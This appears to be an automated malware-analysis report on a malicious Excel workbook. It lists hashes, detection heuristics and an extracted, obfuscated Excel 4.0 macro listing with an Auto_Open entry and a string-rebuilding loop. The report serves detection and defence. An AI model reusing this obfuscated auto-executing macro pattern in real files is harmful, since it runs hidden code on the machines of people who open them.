Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8331cf7ec72707f9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:19 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: b2ddd50048f3c2ee6a077e9c5bd46342 SHA-1: fd1a3692a73d6b34c77f96956f8c69b593424c7e SHA-256: 8331cf7ec72707f9134a642837c4d718fc1a435ba57c0ce2ad66aadce9d40cf5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6757 bytes
SHA-256: 3d57c50066f0c65507b196cd3fa273dc08e131fd14b3f0e73020ec17f7ccbb6f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uZtcgjKM
' 0018     21 LABEL : Cell Value, String Constant - aTvpVz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H165 
' 0018     27 LABEL : Cell Value, String Constant - CAzWkmWzglkE len=0 
' 0018     20 LABEL : Cell Value, String Constant - daaqB len=0 
' 0018     26 LABEL : Cell Value, String Constant - daxWFGNsGEA len=0 
' 0018     20 LABEL : Cell Value, String Constant - DiRzm len=0 
' 0018     23 LABEL : Cell Value, String Constant - hSafiPWF len=0 
' 0018     22 LABEL : Cell Value, String Constant - hwFIWXp len=0 
' 0018     24 LABEL : Cell Value, String Constant - HxHecmAhK len=0 
' 0018     21 LABEL : Cell Value, String Constant - MmZDoy len=0 
' 0018     20 LABEL : Cell Value, String Constant - mWGjj len=0 
' 0018     23 LABEL : Cell Value, String Constant - mxFTwhDM len=0 
' 0018     25 LABEL : Cell Value, String Constant - OFLJrEHcJS len=0 
' 0018     27 LABEL : Cell Value, String Constant - tvBaubYwlxVL len=0 
' 0018     26 LABEL : Cell Value, String Constant - tzrLtxzdqEU len=0 
' 0018     27 LABEL : Cell Value, String Constant - UBWNqPMzlbcc len=0 
' 0018     23 LABEL : Cell Value, String Constant - uNJQWhtc len=0 
' 0018     27 LABEL : Cell Value, String Constant - vmHPglolaabM len=0 
' 0018     20 LABEL : Cell Value, String Constant - XTzic len=0 
' 0018     21 LABEL : Cell Value, String Constant - XUIMgB len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZCFYkBME len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uZtcgjKM,H69,"SET.NAME("mxFTwhDM",0+VALUE("0"))",""
'  uZtcgjKM,H72,"SET.NAME("tvBaubYwlxVL",mxFTwhDM)",""
'  uZtcgjKM,H76,"SET.NAME("CAzWkmWzglkE",mxFTwhDM)",""
'  uZtcgjKM,H81,"SET.NAME("HxHecmAhK",COUNTA(hwFIWXp))",""
'  uZtcgjKM,H84,"SET.NAME("ZCFYkBME",COUNTA(OFLJrEHcJS))",""
'  uZtcgjKM,Q84,"",552.00000000000000000000
'  uZtcgjKM,Q85,"",-419.00000000000000000000
'  uZtcgjKM,Q86,"",-685.00000000000000000000
'  uZtcgjKM,Q87,"",434.00000000000000000000
'  uZtcgjKM,H88,[],""
'  uZtcgjKM,Q88,"",-125.00000000000000000000
'  uZtcgjKM,Q89,"",997.00000000000000000000
'  uZtcgjKM,H90,"SET.NAME("vmHPglolaabM","")",""
'  uZtcgjKM,H95,"tvBaubYwlxVL",""
'  uZtcgjKM,H100,"SET.NAME("uNJQWhtc",HLOOKUP("*",hwFIWXp,tvBaubYwlxVL,FALSE))",""
'  uZtcgjKM,H104,"aTvpVz",""
'  uZtcgjKM,H106,"SET.NAME("daxWFGNsGEA",mxFTwhDM)",""
'  uZtcgjKM,H108,[],""
'  uZtcgjKM,H111,"daxWFGNsGEA",""
'  uZtcgjKM,H113,"XUIMgB",""
'  uZtcgjKM,H116,"mWGjj",""
'  uZtcgjKM,H121,"hSafiPWF",""
'  uZtcgjKM,H126,"SET.NAME("MmZDoy",VALUE(HLOOKUP("*",OFLJrEHcJS,hSafiPWF,FALSE)))",""
'  uZtcgjKM,H130,"UBWNqPMzlbcc",""
'  uZtcgjKM,H134,"vmHPglolaabM",""
'  uZtcgjKM,H139,"CAzWkmWzglkE",""
'  uZtcgjKM,H144,NEXT(),""
'  uZtcgjKM,H148,"daaqB",""
'  uZtcgjKM,H151,[],""
'  uZtcgjKM,H155,"tzrLtxzdqEU",""
'  uZtcgjKM,H160,NEXT(),""
'  uZtcgjKM,H162,RETURN(),""
'  uZtcgjKM,H190,"SET.NAME("XTzic",H69)",""
'  uZtcgjKM,H195,"hwFIWXp",""
'  uZtcgjKM,H199,"SET.NAME("OFLJrEHcJS",R85C15)",""
'  uZtcgjKM,H202,"SET.NAME("tzrLtxzdqEU",213)",""
'  uZtcgjKM,H207,"SET.NAME("DiRzm",8)",""
'  uZtcgjKM,H212,XTzic(),""
'  uZtcgjKM,H213,HALT(),""

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